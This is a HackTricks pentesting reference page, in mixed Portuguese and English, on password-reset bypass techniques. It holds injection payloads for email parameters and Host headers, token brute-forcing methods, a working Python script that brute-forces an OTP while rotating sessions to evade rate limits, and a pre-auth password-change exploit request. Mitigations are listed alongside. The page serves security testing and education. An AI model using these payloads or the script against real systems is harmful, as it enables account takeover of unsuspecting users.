Reset/Forgotten Password Bypass
Reading time: 10 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Password Reset Token Leak Via Referrer
- O HTTP referer header pode leak o password reset token se ele estiver incluído na URL. Isso pode ocorrer quando um usuário clica em um link de um site de terceiros após solicitar um password reset.
- Impacto: Potencial account takeover via Cross-Site Request Forgery (CSRF) attacks.
- Exploitation: Para verificar se um password reset token está leak no referer header, request a password reset para seu endereço de email e click the reset link fornecido. Do not change your password imediatamente. Em vez disso, navigate to a third-party website (como Facebook ou Twitter) enquanto intercepting the requests using Burp Suite. Inspecione as requests para ver se o referer header contains the password reset token, pois isso poderia expor informações sensíveis a terceiros.
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- Atacantes podem manipular o Host header durante password reset requests para apontar o reset link para um site malicioso.
- Impacto: Leads to potential account takeover por leak de reset tokens para atacantes.
- Mitigation Steps:
- Valide o Host header contra uma whitelist de domínios permitidos.
- Use métodos server-side seguros para gerar URLs absolutas.
- Patch: Use
$_SERVER['SERVER_NAME']
to construct password reset URLs instead of$_SERVER['HTTP_HOST']
. - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Atacantes podem manipular a password reset request adicionando parâmetros de email adicionais para desviar o reset link.
- Adicione o email do atacante como segundo parâmetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- Adicione o email do atacante como segundo parâmetro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- Adicionar o e-mail do atacante como segundo parâmetro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- Adicionar o e-mail do atacante como segundo parâmetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- Adicione o email do attacker como segundo parâmetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- Adicione o email do attacker como segundo parâmetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
Adicione o email do atacante como segundo parâmetro no array JSON
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- Medidas de Mitigação:
- Analise e valide corretamente os parâmetros de e-mail no lado do servidor.
- Utilize prepared statements ou parameterized queries para prevenir injection attacks.
- Referências:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
Alterando o E-mail e a Senha de qualquer Usuário através de Parâmetros da API
- Atacantes podem modificar parâmetros de e-mail e senha em requisições da API para alterar credenciais de conta.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- Medidas de Mitigação:
- Garantir validação estrita de parâmetros e verificações de autenticação.
- Implementar logging e monitoramento robustos para detectar e responder a atividades suspeitas.
- Referência:
- Full Account Takeover via API Parameter Manipulation
Sem Rate Limiting: Email Bombing
- A falta de rate limiting em requests de password reset pode levar a email bombing, sobrecarregando o usuário com emails de reset.
- Medidas de Mitigação:
- Implementar rate limiting baseado em endereço IP ou conta de usuário.
- Usar desafios CAPTCHA para prevenir abuso automatizado.
- Referências:
- HackerOne Report 280534
Descobrir como o Password Reset Token é Gerado
- Entender o padrão ou método por trás da geração do token pode levar à predição ou brute-forcing dos tokens. Algumas opções:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- Medidas de Mitigação:
- Usar métodos criptográficos fortes para geração de tokens.
- Garantir entropia e comprimento suficientes para prevenir previsibilidade.
- Ferramentas: Use Burp Sequencer para analisar a aleatoriedade dos tokens.
Guessable UUID
- Se UUIDs (version 1) são guessable ou previsíveis, atacantes podem brute-forceá-los para gerar reset tokens válidos. Verifique:
- Medidas de Mitigação:
- Use GUID version 4 para maior aleatoriedade ou implemente medidas adicionais de segurança para outras versões.
- Ferramentas: Use guidtool para analisar e gerar GUIDs.
Response Manipulation: Replace Bad Response With Good One
- Manipular respostas HTTP para contornar mensagens de erro ou restrições.
- Medidas de Mitigação:
- Implementar checagens server-side para garantir a integridade das respostas.
- Usar canais de comunicação seguros como HTTPS para prevenir ataques man-in-the-middle.
- Referência:
- Critical Bug in Live Bug Bounty Event
Using Expired Token
- Testar se tokens expirados ainda podem ser usados para password reset.
- Medidas de Mitigação:
- Implementar políticas estritas de expiração de token e validar a expiração server-side.
Brute Force Password Reset Token
- Tentar brute-forcear o reset token usando ferramentas como Burpsuite e IP-Rotator para contornar limites por IP.
- Medidas de Mitigação:
- Implementar rate-limiting robusto e mecanismos de lockout de conta.
- Monitorar atividades suspeitas indicativas de ataques de brute-force.
Try Using Your Token
- Testar se o reset token de um atacante pode ser usado em conjunto com o email da vítima.
- Medidas de Mitigação:
- Garantir que os tokens estejam vinculados à sessão do usuário ou outros atributos específicos do usuário.
Session Invalidation in Logout/Password Reset
- Garantir que sessões sejam invalidadas quando um usuário faz logout ou reseta sua password.
- Medidas de Mitigação:
- Implementar gerenciamento de sessão apropriado, garantindo que todas as sessões sejam invalidadas no logout ou password reset.
Session Invalidation in Logout/Password Reset
- Reset tokens devem ter um tempo de expiração após o qual se tornam inválidos.
- Medidas de Mitigação:
- Definir um tempo de expiração razoável para reset tokens e aplicá-lo estritamente server-side.
OTP rate limit bypass by changing your session
- Se o site usa a sessão do usuário para rastrear tentativas erradas de OTP e o OTP for fraco (<= 4 dígitos) então podemos efetivamente bruteforcear o OTP.
- exploitation:
- simplesmente solicitar um novo session token após ser bloqueado pelo servidor.
- Example código que explora esse bug ao adivinhar aleatoriamente o OTP (quando você troca a session o OTP também mudará, então não conseguiremos brute-forceá-lo sequencialmente!):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
Vulnerable pattern (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Exploitation request (conceito):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
Mitigações:
- Exigir sempre um reset token válido e com validade limitada, vinculado à conta e à sessão antes de alterar a senha.
- Nunca exponha caminhos skipOldPwdCheck para usuários não autenticados; exija autenticação para alterações regulares de senha e verifique a senha antiga.
- Invalidar todas as sessões ativas e reset tokens após uma alteração de senha.
Referências
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.